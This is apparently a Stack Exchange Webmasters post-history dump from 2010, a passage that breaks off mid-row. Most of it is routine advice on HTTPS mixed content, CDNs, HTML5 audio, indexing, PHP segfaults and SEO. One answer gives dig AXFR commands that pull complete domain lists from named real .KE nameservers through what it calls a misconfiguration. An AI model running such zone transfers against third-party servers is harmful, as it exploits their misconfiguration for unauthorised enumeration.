  <row Id="2922" PostHistoryTypeId="2" PostId="1605" RevisionGUID="e30e2209-3dcd-4568-8524-e1ecb31ba7e0" CreationDate="2010-07-26T15:44:48.063" UserId="352" Text="Access to that will be dependent on the policies of the TLD registrar; I would be very surprised if any of them permitted it (knowingly), although you might find one or two TLDs that permit [AXFRs](http://docstore.mik.ua/orelly/networking_2ndEd/dns/ch12_09.htm#dns4-CHP-12-SECT-9.2) of the zone from one or more nameservers.&#xD;&#xA;&#xD;&#xA;In your case, looking at the list of nameservers for `.KE` reveals that `mzizi.kenic.or.ke` permits zone transfers. So, running `dig @mzizi.kenic.or.ke. kr. axfr` at the command line gives a useful list of [.KE's top-level zones](http://www.kenic.or.ke/index.php?option=com_content&amp;task=view&amp;id=43&amp;Itemid=61) (co.ke, ne.ke, etc), and digging farther down with, for example, `dig @ns1.coza.net.za. co.ke. axfr` turns up a complete list.&#xD;&#xA;&#xD;&#xA;Note that you won't be able to rely on this; it's very likely that this is a misconfiguration on their part." />
  <row Id="2923" PostHistoryTypeId="2" PostId="1606" RevisionGUID="3d0e3fe6-2b18-4716-b891-92fc6f83536a" CreationDate="2010-07-26T16:00:42.067" UserId="197" Text="The closest you could come is to find out where the servers are located. If you retrieve the ip where the domain points to, you could run them through a list of ip ranges per county. This way you can find the location of the server.(a quick way to find the ip of one domain = cmd&gt; ping www.example.com)&#xD;&#xA;&#xD;&#xA;An example of a list like this can be found at: http://www.countryipblocks.net/&#xD;&#xA;&#xD;&#xA;It's not a foolproof solution though. The owners of the site could be located in the netherlands, while the server is located in the UK, or even further: America.&#xD;&#xA;" />
  <row Id="2924" PostHistoryTypeId="2" PostId="1607" RevisionGUID="9fc1f181-fa6a-4210-b7bb-9e1b1f2017b6" CreationDate="2010-07-26T16:08:13.450" UserId="101" Text="I want to serve static content from my site but my site is https-only. My static http server only serve http content (non https) but many IE users are complaining about being unable to log into.&#xD;&#xA;&#xD;&#xA;What do I need to do? Should I add https to my static-content http server?" />
  <row Id="2925" PostHistoryTypeId="1" PostId="1607" RevisionGUID="9fc1f181-fa6a-4210-b7bb-9e1b1f2017b6" CreationDate="2010-07-26T16:08:13.450" UserId="101" Text="How to serve static content without https in a secure site?" />
  <row Id="2926" PostHistoryTypeId="3" PostId="1607" RevisionGUID="9fc1f181-fa6a-4210-b7bb-9e1b1f2017b6" CreationDate="2010-07-26T16:08:13.450" UserId="101" Text="&lt;ssl&gt;&lt;internet-explorer&gt;" />
  <row Id="2927" PostHistoryTypeId="2" PostId="1608" RevisionGUID="51de8f55-3be2-4e0e-bdcd-4c9ba77aebd8" CreationDate="2010-07-26T16:21:38.163" UserId="1047" Text="I would recommend looking into the two way api provided by http://www.world-text.com/." />
  <row Id="2928" PostHistoryTypeId="16" PostId="1608" RevisionGUID="51de8f55-3be2-4e0e-bdcd-4c9ba77aebd8" CreationDate="2010-07-26T16:21:38.163" UserId="-1" />
  <row Id="2929" PostHistoryTypeId="2" PostId="1609" RevisionGUID="29f2c391-6487-4d7a-9280-1ecd90754c77" CreationDate="2010-07-26T16:26:41.797" UserId="1047" Text="I would not expect IE to time out but if a ajax request has failed and it may not attempted to try again. A good way to confirm this would be to use Firefox and download a plug-in called FireBug. This will give you a log of all http/ajax requests that are requested from the desktop and will show you if it received any error states back from the server or a javascript error." />
  <row Id="2930" PostHistoryTypeId="2" PostId="1610" RevisionGUID="b507cde0-b41b-4a07-bc7d-ef359be23e16" CreationDate="2010-07-26T16:28:32.370" UserId="26" Text="Internet Explorer and I think some other browsers will warn a user when the assets for a site using the `https` protocol are served from `http`. The first best solution is to allow your static asset server to serve secure content and have your site use a consistent protocol. The second best solution is going to be to create a page on your secure site that is a proxy, basically you need to create a dynamic page that calls the external page or asset, and returns it through that proxy. How that page is written depends on what dynamic programming language is available to you on the secure server.&#xD;&#xA;&#xD;&#xA;Basically IE has a legitimate security issue with mixing protocols. It *knows* it can trust the `https` server, but does not trust the `http` one." />
  <row Id="2931" PostHistoryTypeId="2" PostId="1611" RevisionGUID="0402bcc9-1e96-4f75-a7b6-5ec32b0f8139" CreationDate="2010-07-26T16:46:04.723" UserId="26" Text="Many questions come to mine:&#xD;&#xA;&#xD;&#xA;1. What version of IE?&#xD;&#xA;1. What was the code that was making the call?&#xD;&#xA;1. What did the browser do when you came back to it a few days later?&#xD;&#xA;1. What do your webserver logs indicate -- were there returns from the webserver with error codes that the JavaScript was incapable of handling?&#xD;&#xA;&#xD;&#xA;Generally, if you have a piece of JavaScript code that is being executed on a timer with `setTimeout` it will run forever. But remember that browsers are desktop software and as such, sometimes stuff happens to the system which can impact that browser. It's difficult to speculate without knowing more precisely what the conditions of your experience were. It's possible the browser did freeze up because of some other system software running. It's possible that the DNS of the system went kerflooie for a little while, and then the JavaScript did not handle that problem well. It's possible the server serving the content crapped out for a second and returned an incorrect string that your JavaScript could not handle, then, page execution stopped. Lastly, maybe the browser transiently ran out of memory? If the returned data also added content that added events to the page, maybe you simply ran out of memory? This would be the case if the page truly &quot;froze&quot; - but you likely would have seen a memory alert from IE in that case.&#xD;&#xA;&#xD;&#xA;Lots of ins and outs for this question, and not enough details supplied." />
  <row Id="2932" PostHistoryTypeId="5" PostId="1605" RevisionGUID="baef1069-b015-4242-8c96-acc19768d141" CreationDate="2010-07-26T17:10:58.273" UserId="352" Comment="edited body; added 98 characters in body" Text="Access to that will be dependent on the policies of the TLD registrar; I would be very surprised if any of them permitted it (knowingly), although you might find one or two TLDs that permit [AXFRs](http://docstore.mik.ua/orelly/networking_2ndEd/dns/ch12_09.htm#dns4-CHP-12-SECT-9.2) of the zone from one or more nameservers.&#xD;&#xA;&#xD;&#xA;In your case, looking at the list of nameservers for `.KE` reveals that `mzizi.kenic.or.ke` permits zone transfers. So, running `dig @mzizi.kenic.or.ke. ke. axfr` at the command line gives a useful list of [.KE's top-level zones](http://www.kenic.or.ke/index.php?option=com_content&amp;task=view&amp;id=43&amp;Itemid=61) (co.ke, ne.ke, etc), and digging farther down with, for example, `dig @ns1.coza.net.za. co.ke. axfr` turns up a complete list.&#xD;&#xA;&#xD;&#xA;(Edit: I'm noticing that AXFRs from mzizi are failing now, but ns1.coza.net.za is still fine.)&#xD;&#xA;&#xD;&#xA;Note that you won't be able to rely on this; it's very likely that this is a misconfiguration on their part." />
  <row Id="2933" PostHistoryTypeId="2" PostId="1612" RevisionGUID="6b3059ce-dfff-4d40-968b-44a0b20e8666" CreationDate="2010-07-26T17:29:27.713" UserId="26" Text="I have a site for a musician that includes music in `mp3` format, but these are played through a Flash file ([xspfplayer][1]). Of course, without Flash this is useless.&#xD;&#xA;&#xD;&#xA;Is there a better future-proof, and reasonably backwards-compatible way to include mp3 audio snippets on a page without forcing users to use Flash, and also not forcing them to download the mp3 first, or to leave the page entirely?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://musicplayer.sourceforge.net/" />
  <row Id="2934" PostHistoryTypeId="1" PostId="1612" RevisionGUID="6b3059ce-dfff-4d40-968b-44a0b20e8666" CreationDate="2010-07-26T17:29:27.713" UserId="26" Text="Simple future-proof, backwards-compatible way to play audio mp3 files in-place on the page?" />
  <row Id="2935" PostHistoryTypeId="3" PostId="1612" RevisionGUID="6b3059ce-dfff-4d40-968b-44a0b20e8666" CreationDate="2010-07-26T17:29:27.713" UserId="26" Text="&lt;audio&gt;&lt;sound&gt;" />
  <row Id="2936" PostHistoryTypeId="2" PostId="1613" RevisionGUID="86d5164a-dc44-4742-a8b0-2b2dbd2d7f3f" CreationDate="2010-07-26T17:42:58.563" UserId="108" Text="You best bet is to continue to use the Flash player and use [HTML5 audio tag][1],  for any browsers that supports it.  Eventually, all browsers will support HTML5 and you will be able to kill off the flash audio player.  &#xD;&#xA;&#xD;&#xA;There is a great document on the HTML5 audio tag and how to use it here, http://html5doctor.com/native-audio-in-the-browser/.  It seems to be extremely easy to use and &#xD;&#xA;&#xD;&#xA;It looks like Safari 4, and Chrome 3 both support the tag AND the mp3 format.  Opera and FF 3.5 support WAV format. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://w3schools.com/html5/tag_audio.asp" />
  <row Id="2937" PostHistoryTypeId="2" PostId="1614" RevisionGUID="fe85dd18-81f6-4b74-b3ae-93e060e73398" CreationDate="2010-07-26T18:08:01.447" UserId="233" Text="It's unclear whether by &quot;indexed&quot; you mean just any page of the site, or whether you mean the whole site. If you have quite a few pages, it will take a very long time for search engines to index the whole site, and they may never index everything (particularly Bing/Yahoo).&#xD;&#xA;&#xD;&#xA;The other thing to remember is that search engines need to revisit the pages linking to you, to find those links. That can take over a week in itself if it's a static page that has not changed for months.&#xD;&#xA;&#xD;&#xA;Make sure you have some links that are not &quot;nofollow&quot; - if the links have `rel=&quot;nofollow&quot;` in the code then Google will probably ignore them. Most user-generated content (e.g. Twitter, this site) adds nofollow to the links.&#xD;&#xA;&#xD;&#xA;Even with all this in place, it can still take a few weeks for pages from your site to be indexed, so just be patient! You can check how many pages are currently indexed in each search engine in their respective webmaster tools sections, or simply by searching for `site:example.com`." />
  <row Id="2938" PostHistoryTypeId="16" PostId="1614" RevisionGUID="fe85dd18-81f6-4b74-b3ae-93e060e73398" CreationDate="2010-07-26T18:08:01.447" UserId="-1" />
  <row Id="2939" PostHistoryTypeId="5" PostId="1613" RevisionGUID="6f5c9a51-0d68-41f0-96c9-c6eac51730f8" CreationDate="2010-07-26T18:38:53.757" UserId="108" Comment="added 1 characters in body; added 4 characters in body; deleted 4 characters in body" Text="Your best bet is to continue to use the Flash player and use the [HTML5 audio tag][1],  for any browsers that supports it.  Eventually, all browsers will support HTML5 and you will be able to kill off the flash audio player.  &#xD;&#xA;&#xD;&#xA;There is a great document on the HTML5 audio tag and how to use it here, http://html5doctor.com/native-audio-in-the-browser/.  It seems to be extremely easy to use.&#xD;&#xA;&#xD;&#xA;It looks like Safari 4, and Chrome 3 both support the tag AND the mp3 format.  Opera and FF 3.5 support WAV format. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://w3schools.com/html5/tag_audio.asp" />
  <row Id="2940" PostHistoryTypeId="2" PostId="1615" RevisionGUID="debd75e8-7939-4759-be74-10aca04d967e" CreationDate="2010-07-26T18:40:17.343" UserId="480" Text="We use Amazon's CloudFront CDN with custom CNAMEs hanging under the main domain (static1.example.com). Although we can break this uniform appearance and use the original whatever123wigglyw00.cloudfront.net URLs to utilise HTTPS, is there another way?&#xD;&#xA;&#xD;&#xA;Do Amazon or any other similar provider offer HTTPS CDN hosting?&#xD;&#xA;&#xD;&#xA;Is TLS and its selective encryption available for use somewhere?&#xD;&#xA;&#xD;&#xA;*Foot note: assuming that the answer is no, but just in the hope someone knows.*" />
  <row Id="2941" PostHistoryTypeId="1" PostId="1615" RevisionGUID="debd75e8-7939-4759-be74-10aca04d967e" CreationDate="2010-07-26T18:40:17.343" UserId="480" Text="HTTPS with Amazon's CloudFront CDN and CNAMEs" />
  <row Id="2942" PostHistoryTypeId="3" PostId="1615" RevisionGUID="debd75e8-7939-4759-be74-10aca04d967e" CreationDate="2010-07-26T18:40:17.343" UserId="480" Text="&lt;ssl&gt;&lt;cdn&gt;&lt;amazon-cloudfront&gt;" />
  <row Id="2943" PostHistoryTypeId="2" PostId="1616" RevisionGUID="b98f2cac-79ae-49c3-b2af-6d244364d66f" CreationDate="2010-07-26T18:47:34.347" UserId="69" Text="CloudFront with CNAMEs and HTTPS is no supported, see the first note on the [CloudFront CNAME documentation][1]. &#xD;&#xA;&#xD;&#xA;I don't think any of the low cost CDNs have support for CNAMEs and HTTPS together, to do that they would have to have some way for you to upload your unencrypted certificate to their CDN network.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.amazonwebservices.com/AmazonCloudFront/latest/DeveloperGuide/index.html?CNAMEs.html" />
  <row Id="2944" PostHistoryTypeId="2" PostId="1617" RevisionGUID="ece34df4-dd70-4dc0-afde-7972c884868a" CreationDate="2010-07-26T18:49:51.927" UserDisplayName="Dan" Text="I think about 48 to 72 hours for some sites - and probably all less than 1 week. I usually announce any new websites on a blog or friend's blog that I know is crawled and it doesn't take long.&#xD;&#xA;&#xD;&#xA;Recently I had a problem where although my robots.txt file said: &#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Allow: /&#xD;&#xA;&#xD;&#xA;I didn't realise that I had a Wordpress plugin that was inserting a META tag on each page instructing robots to no-follow. The [Google webmaster help forum][1] was very helpful (and quick) to find my oversight I hadn't found in weeks.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=370169c9adb191d4&amp;hl=en" />
  <row Id="2945" PostHistoryTypeId="16" PostId="1617" RevisionGUID="ece34df4-dd70-4dc0-afde-7972c884868a" CreationDate="2010-07-26T18:49:51.927" UserId="-1" />
  <row Id="2946" PostHistoryTypeId="5" PostId="1615" RevisionGUID="245f53d0-3489-4e10-bc23-8cb2901f1345" CreationDate="2010-07-26T18:56:24.643" UserId="480" Comment="added 30 characters in body" Text="We use Amazon's CloudFront CDN with custom CNAMEs hanging under the main domain (static1.example.com). Although we can break this uniform appearance and use the original whatever123wigglyw00.cloudfront.net URLs to utilise HTTPS, is there another way?&#xD;&#xA;&#xD;&#xA;Do Amazon or any other similar provider offer HTTPS CDN hosting?&#xD;&#xA;&#xD;&#xA;Is TLS and its selective encryption available for use somewhere (SNI: Server Name Indication)?&#xD;&#xA;&#xD;&#xA;*Foot note: assuming that the answer is no, but just in the hope someone knows.*" />
  <row Id="2947" PostHistoryTypeId="2" PostId="1618" RevisionGUID="8631bafe-5e3a-4704-a67f-39d59329eec1" CreationDate="2010-07-26T18:56:54.297" UserId="1051" Text="I think you need to clarify your thinking because your question doesn't really make sense.&#xD;&#xA;&#xD;&#xA;Static and secure are not mutually exclusive or even related to each other.  You can have secure static content and non-secure non-static content.  Secure just means it's encrypted (SSL, i.e., https).  Static means it's not generated per-request for the client.  These are two fundamentally different concepts.&#xD;&#xA;&#xD;&#xA;If you're not mixing up your terminology, then I would ask why your secure server can't serve static content.  My guess is that it does, so you just need to put your static content onto the secure server and then a browser won't complain about the mixed http/https content because it will all be https.  If there is truly some technical limitation on the secure server that prevents it from serving static content (e.g., it can't even serve a CSS file), then yes, you should look at adding SSL to the other server you're using." />
  <row Id="2948" PostHistoryTypeId="5" PostId="1616" RevisionGUID="4d30bd08-e8a4-4fe9-b4f4-86b68ddc302b" CreationDate="2010-07-26T19:02:44.143" UserId="69" Comment="added 1 characters in body" Text="CloudFront with CNAMEs and HTTPS is not supported, see the first note in the [CloudFront CNAME documentation][1]. &#xD;&#xA;&#xD;&#xA;I don't think any of the low cost CDNs have support for CNAMEs and HTTPS together, to do that they would have to have some way for you to upload your unencrypted certificate to their CDN network.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.amazonwebservices.com/AmazonCloudFront/latest/DeveloperGuide/index.html?CNAMEs.html" />
  <row Id="2949" PostHistoryTypeId="2" PostId="1619" RevisionGUID="a516ed7f-efd8-490b-8554-56c55ba599e4" CreationDate="2010-07-26T19:17:42.253" UserId="1051" Text="I'm looking for a relatively painless way to track down segmentation faults in PHP (as reported in the Apache error log).  This is my LAMP setup at the moment:&#xD;&#xA;&#xD;&#xA;Linux:  OpenSUSE 11.3 x86_64  &#xD;&#xA;Apache: 2.2.15-3.7  &#xD;&#xA;MySQL: 5.1.46-2.18  &#xD;&#xA;PHP: 5.3.2-1.31&#xD;&#xA;&#xD;&#xA;The code in question is not my own, it is Gallery2: http://gallery.menalto.com  A typical scenario is that I go to the gallery main page and none of the thumbnails appear but I get a new set of segmentation fault errors in the error log.&#xD;&#xA;&#xD;&#xA;Given the relative complexity of that software, it's not particularly suited to simple forms of debugging.  I'd like to be able to step through the code and see exactly what is happening.  &quot;Solutions&quot; I've seen so far for doing this have been pretty far from &quot;relatively painless.&quot;&#xD;&#xA;&#xD;&#xA;I've successfully used Gallery2 on this server (earlier versions of LAMP software packages) and on other servers, so I assume there is something defective in my current configuration, but without being able to see where the fault is occurring, I can't fix or work around it." />
  <row Id="2950" PostHistoryTypeId="1" PostId="1619" RevisionGUID="a516ed7f-efd8-490b-8554-56c55ba599e4" CreationDate="2010-07-26T19:17:42.253" UserId="1051" Text="Track down segmentation faults in PHP?" />
  <row Id="2951" PostHistoryTypeId="3" PostId="1619" RevisionGUID="a516ed7f-efd8-490b-8554-56c55ba599e4" CreationDate="2010-07-26T19:17:42.253" UserId="1051" Text="&lt;apache&gt;&lt;php&gt;&lt;lamp&gt;" />
  <row Id="2952" PostHistoryTypeId="2" PostId="1620" RevisionGUID="2d28738f-f210-4263-917a-1bf4fafe47a7" CreationDate="2010-07-26T19:30:12.720" UserId="480" Text="May I suggest looking at http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1692166&amp;group_id=7130&amp;atid=107130 and http://gallery.menalto.com/node/62436#comment-228570?&#xD;&#xA;&#xD;&#xA;There seem to be common problems with dynamically changing Apache's GZIP setting when using Gallery.&#xD;&#xA;&#xD;&#xA;&gt; I believe that the problem is that mod_deflate tries to gzip the data a&#xD;&#xA;second time based on the URL, which results in breakages on some systems. &#xD;&#xA;Telling it not to gzip the files that we're sending helps out in this&#xD;&#xA;case.&#xD;&#xA;&#xD;&#xA;&gt; There may be a bug in PHP. Try adding `$gallery-&gt;setConfig('apacheSetenvBroken', 1);` to your config.php to disable using the apache_setenv() function" />
  <row Id="2953" PostHistoryTypeId="5" PostId="1620" RevisionGUID="f1389ed3-89bb-4239-aa8e-34bb91088680" CreationDate="2010-07-26T19:38:02.797" UserId="480" Comment="added 251 characters in body" Text="May I suggest looking at http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1692166&amp;group_id=7130&amp;atid=107130 and http://gallery.menalto.com/node/62436#comment-228570?&#xD;&#xA;&#xD;&#xA;There seem to be common problems with dynamically changing Apache's GZIP setting when using Gallery.&#xD;&#xA;&#xD;&#xA;&gt; I believe that the problem is that mod_deflate tries to gzip the data a&#xD;&#xA;second time based on the URL, which results in breakages on some systems. &#xD;&#xA;Telling it not to gzip the files that we're sending helps out in this&#xD;&#xA;case.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&gt; There may be a bug in PHP. Try adding `$gallery-&gt;setConfig('apacheSetenvBroken', 1);` to your config.php to disable using the apache_setenv() function&#xD;&#xA;&#xD;&#xA;Appreciate this is not the answer to the question you are asking (beyond using [Zend Framework][1] with plugins or command line php and gdb I do not know how to debug segfaults in PHP) but it may help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://framework.zend.com/" />
  <row Id="2954" PostHistoryTypeId="5" PostId="1620" RevisionGUID="f65f1adc-4f9f-4574-839f-700136d48769" CreationDate="2010-07-26T19:44:52.547" UserId="480" Comment="added 19 characters in body; added 65 characters in body" Text="May I suggest looking at http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1692166&amp;group_id=7130&amp;atid=107130 and http://gallery.menalto.com/node/62436#comment-228570?&#xD;&#xA;&#xD;&#xA;There seem to be common problems with either using apache_setenv or gzipping the URL twice (depending on the scenario - the former seems more likely with the thumbnails not appearing):&#xD;&#xA;&#xD;&#xA;&gt; I believe that the problem is that mod_deflate tries to gzip the data a&#xD;&#xA;second time based on the URL, which results in breakages on some systems. &#xD;&#xA;Telling it not to gzip the files that we're sending helps out in this&#xD;&#xA;case.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&gt; There may be a bug in PHP. Try adding `$gallery-&gt;setConfig('apacheSetenvBroken', 1);` to your config.php to disable using the apache_setenv() function&#xD;&#xA;&#xD;&#xA;Appreciate this is not the answer to the question you are asking (beyond using [Zend Framework][1] with plugins or command line php and gdb I do not know how to debug segfaults in PHP) but it may help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://framework.zend.com/" />
  <row Id="2955" PostHistoryTypeId="4" PostId="1599" RevisionGUID="cdeb9324-585c-449d-92c0-e8da53388b86" CreationDate="2010-07-26T20:42:09.070" UserId="922" Comment="sp for domain" Text="Getting list of all registered domains in particular geographical region" />
  <row Id="2956" PostHistoryTypeId="2" PostId="1621" RevisionGUID="bebfc7c3-53d7-4921-afac-415340426296" CreationDate="2010-07-26T20:43:33.840" UserId="236" Text="For feature/bug requests, I would recommend using something like [UserVoice][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.uservoice.com" />
  <row Id="2957" PostHistoryTypeId="2" PostId="1622" RevisionGUID="fe01e844-8381-4980-93be-5d6986eca70c" CreationDate="2010-07-26T20:51:53.710" UserDisplayName="gan" Text="I am trying to find pligg like cms that I can use to create digg like sites. With pligg, I am not able to do import the links automatically even they have the plug in. I read about that plug in and it looks it can fetch only from selected sites but not sure how good the plug in is. I checked out Drigg from drupal but I dont even the installation steps properly and I am not able to find documenation on doing this. Can anyone please suggest if you know any CMS like pligg that can pull bookmarks from other places?&#xD;&#xA;&#xD;&#xA;regards&#xD;&#xA;" />
  <row Id="2958" PostHistoryTypeId="1" PostId="1622" RevisionGUID="fe01e844-8381-4980-93be-5d6986eca70c" CreationDate="2010-07-26T20:51:53.710" UserDisplayName="gan" Text="Pligg like CMS to create digg like sites" />
  <row Id="2959" PostHistoryTypeId="3" PostId="1622" RevisionGUID="fe01e844-8381-4980-93be-5d6986eca70c" CreationDate="2010-07-26T20:51:53.710" UserDisplayName="gan" Text="&lt;cms&gt;" />
  <row Id="2960" PostHistoryTypeId="2" PostId="1623" RevisionGUID="d3206ba6-a736-491c-8c7d-6075bf096c6a" CreationDate="2010-07-26T20:58:03.103" UserId="745" Text="I'm not aware of any other similar scripts, though there may be others. However, if you already have a lot of time invested in Pligg and if Pligg works for you except for that sole feature, IMO your best option would be to hire a developer to work on that plugin to make it function the way you want." />
  <row Id="2961" PostHistoryTypeId="2" PostId="1624" RevisionGUID="786b0786-9696-4396-bad6-2126025b86fe" CreationDate="2010-07-26T21:29:06.047" UserId="180" Text="For another application service provider option, [Get Satisfaction][1] is probably worth evaluating.&#xD;&#xA;&#xD;&#xA;  [1]: http://getsatisfaction.com/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2962" PostHistoryTypeId="5" PostId="1587" RevisionGUID="8c717ca1-3fc6-41f4-aa86-0dfd749373a2" CreationDate="2010-07-26T22:41:18.457" UserId="590" Comment="added 193 characters in body" Text="Having multiple domains and completely seperate sites in diffent forders is perfectly fine.  Search engines have no way to know those extra folders are there unless you link to them.    Google should will see those 2 url's as completly seperate sites.  &#xD;&#xA;&#xD;&#xA;The bad side is if you have a link to programming.com/cooking this will show up on the search engine for programming.com and may show up instead of cooking.com.  &#xD;&#xA;&#xD;&#xA;So the solution is:  only link to cooking.com. (opposed to programming.com/cooking) Stick to that and you won't have any problems.&#xD;&#xA;&#xD;&#xA;EDIT:  I somehow thought you were talking about buying a new hosting account instead of a domain. What you can do is a subdomain like cooking.programming.com  That should do the same thing." />
  <row Id="2963" PostHistoryTypeId="2" PostId="1625" RevisionGUID="13977af3-5837-438d-9c4a-1f9480f9047e" CreationDate="2010-07-26T23:30:25.263" UserDisplayName="Jordan" Text="I'm trying to select an eCommerce solution that will integrate with the accounting program, AccountEdge (from MYOB). I also need it to be SEO-friendly and be able to print shipping labels, directly. I will also consider any stable add-ons to any given shopping cart." />
  <row Id="2964" PostHistoryTypeId="1" PostId="1625" RevisionGUID="13977af3-5837-438d-9c4a-1f9480f9047e" CreationDate="2010-07-26T23:30:25.263" UserDisplayName="Jordan" Text="What shopping carts integrate well with MYOB?" />
  <row Id="2965" PostHistoryTypeId="3" PostId="1625" RevisionGUID="13977af3-5837-438d-9c4a-1f9480f9047e" CreationDate="2010-07-26T23:30:25.263" UserDisplayName="Jordan" Text="&lt;seo&gt;&lt;web-development&gt;&lt;ecommerce&gt;" />
  <row Id="2966" PostHistoryTypeId="2" PostId="1626" RevisionGUID="70cc021d-cf1b-49d1-96b3-9062860736ef" CreationDate="2010-07-26T23:33:39.017" UserId="233" Text="Adding an unrelated subfolder is highly unlikely to have any effect on your ranking for what's already on your site (and certainly will have no effect on 'PageRank', but you shouldn't pay much attention to that anyway).&#xD;&#xA;&#xD;&#xA;SEs generally focus on pages, since that is what they return in results, not sites as a whole. Furthermore they are smart enough to be able to separate sections of a site. It can have a positive effect: if the subfolder gains links from elsewhere you can pass that 'juice' back to the parent site.&#xD;&#xA;&#xD;&#xA;Having said that, if the site is anything more than a few pages it's certainly worthwhile using a separate domain name (or a subdomain). They are pretty cheap and it's easier to build up the site if it becomes larger." />
  <row Id="2967" PostHistoryTypeId="5" PostId="1568" RevisionGUID="a1a28040-06fa-4621-a146-a6c2d763b224" CreationDate="2010-07-26T23:42:40.750" UserId="353" Comment="added 280 characters in body" Text="From my standpoint of a user, I expect my OpenID providers to be around a long time. I wouldn't want the service that's allowing me to log into a number of sites to disappear overnight. That's why I use Google and Verisign as my providers (Verisign being my primary simply because they offered it before Google did). I would never use a new upstart service as my provider, unless I was using myself as my provider (and I know people who do that).&#xD;&#xA;&#xD;&#xA;Honestly, it just seems like more of a hassle to become a provider than it's worth. Becoming a consumer would be most beneficial at this point. Your target audience is probably a user of at least one of AOL, Google, MySpace, Verisign, Yahoo!, or WordPress. Other people jumped onto MyOpenID or one of the other providers early in the game, too. The world doesn't need more providers, but does need more consumers.&#xD;&#xA;&#xD;&#xA;On the other hand, though, if you are competing with any of those companies I named, then perhaps you should become a provider. From a business standpoint, it's a feature that you can check off as &quot;they do this, so we do it as good or better&quot;. From a business standpoint, [RandomBen's answer][1] to this question provides a better answer than I can. In short, it's all about the Return on Investment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1564/when-should-you-consider-being-an-openid-provider/1569#1569" />
  <row Id="2968" PostHistoryTypeId="2" PostId="1627" RevisionGUID="c48ae592-2544-413c-baca-adb241526bd1" CreationDate="2010-07-26T23:56:58.227" UserId="353" Text="If you can deploy your own installation, have you considered a clone of the Stack Exchange engine? You can host it yourself and customize it as needed. You can find a [list of available clones on the StackOverflow Meta][1].&#xD;&#xA;&#xD;&#xA;Between tags and voting, I think you have a lot of what you need. Tags will allow you to categorize between bugs, support, and feature requests and voting will let you know what the community thinks of the idea. I believe that the desire for these things made people want StackOverflow to switch from UserVoice to it's own engine early on.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackoverflow.com/questions/2267/stack-overflow-clones" />
  <row Id="2969" PostHistoryTypeId="2" PostId="1628" RevisionGUID="3ac2b306-270f-49fc-a09a-cd8e4fad1621" CreationDate="2010-07-27T00:07:45.910" UserId="233" Text="Have a look at [Zoho forums][1], it uses a combination of forums, Q&amp;A and user feedback. jQuery recently moved from Google Groups to Zoho due to Group's massive problems with spam.&#xD;&#xA;&#xD;&#xA;There is a free version with the basics. If you are developing open source software I believe you can the full-featured version for free.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://discussions.zoho.com/home" />
  <row Id="2970" PostHistoryTypeId="5" PostId="1547" RevisionGUID="2787c975-2594-495c-ae3e-8cbae4170b09" CreationDate="2010-07-27T01:22:09.393" UserId="745" Comment="added 438 characters in body" Text="A lot of people look for technical tricks for SEO and ignore the big picture. You need both. Your SEO (and business) strategy is every bit as important as SEO tactics.  There are more than 200 [SEO factors][2] that go into rankings, but here are a few of the more important SEO factors that I've experienced, both tactical and strategic:&#xD;&#xA;&#xD;&#xA; - **Have a website worth visiting.** If&#xD;&#xA;   your website isn't designed for users&#xD;&#xA;   first, most of the time it won't do&#xD;&#xA;   well in the search engines. &#xD;&#xA; - **Make your site crawlable.** Don't rely on Flash or JavaScript&#xD;&#xA;   navigation. If you need to use&#xD;&#xA;   JavaScript, use it to enhance an&#xD;&#xA;   existing (X)HTML menu, not create it.&#xD;&#xA;   You won't even need a sitemap if your&#xD;&#xA;   site is crawlable in the first place&#xD;&#xA;   (but it doesn't hurt). RSS feeds also help you get crawled.&#xD;&#xA; - **Do your keyword research using Google's [Keyword Tool][3].** I guarantee that you're missing out on traffic opportunities if you don't do this (and most people don't). Take 5 minutes to make sure&#xD;&#xA;   that your content is hitting the most&#xD;&#xA;   popular search terms for its subject&#xD;&#xA;   matter. It's worth it.&#xD;&#xA; - **Make a bigger website.** Backlinks matter and internal links from your&#xD;&#xA;   own pages count. The easiest, surest,&#xD;&#xA;   and most efficient way to get&#xD;&#xA;   backlinks is to increase the number&#xD;&#xA;   of pages on your site. The bigger&#xD;&#xA;   your search engine footprint, the&#xD;&#xA;   more weight you have to throw around. This is one of the reasons blogs are recommended for SEO.&#xD;&#xA; - **Get your title right.** You get 65 characters to create an on-topic&#xD;&#xA;   incentive for the user to click on&#xD;&#xA;   your search engine listing. Use the&#xD;&#xA;   opportunity wisely. Your best keywords should be in the title. However, it's not just&#xD;&#xA;   about using the right keywords; &#xD;&#xA;   it's also about catching the user's&#xD;&#xA;   attention while still signalling that&#xD;&#xA;   your page is going to be relevant and&#xD;&#xA;   helpful to them. Use Michael&#xD;&#xA;   Masterson's Four U's Method: Be&#xD;&#xA;   Unique. Be Useful. Be Urgent. Be&#xD;&#xA;   Ultra-Specific. Stronger titles use&#xD;&#xA;   more U's. Remember that your title is&#xD;&#xA;   often used by social media sites to&#xD;&#xA;   link to your page as well.&#xD;&#xA; - **Get your anchor text right.** Use keywords that are also helpful to&#xD;&#xA;   your users. Never use the infamous&#xD;&#xA;   'Click Here' text as a link.&#xD;&#xA; - **Get a handle on duplicate content**. It's far too easy to&#xD;&#xA;   create duplicate content.&#xD;&#xA;   http://example.com,&#xD;&#xA;   http://example.com/,&#xD;&#xA;   http://www.example.com, and&#xD;&#xA;   http://www.example.com/ are 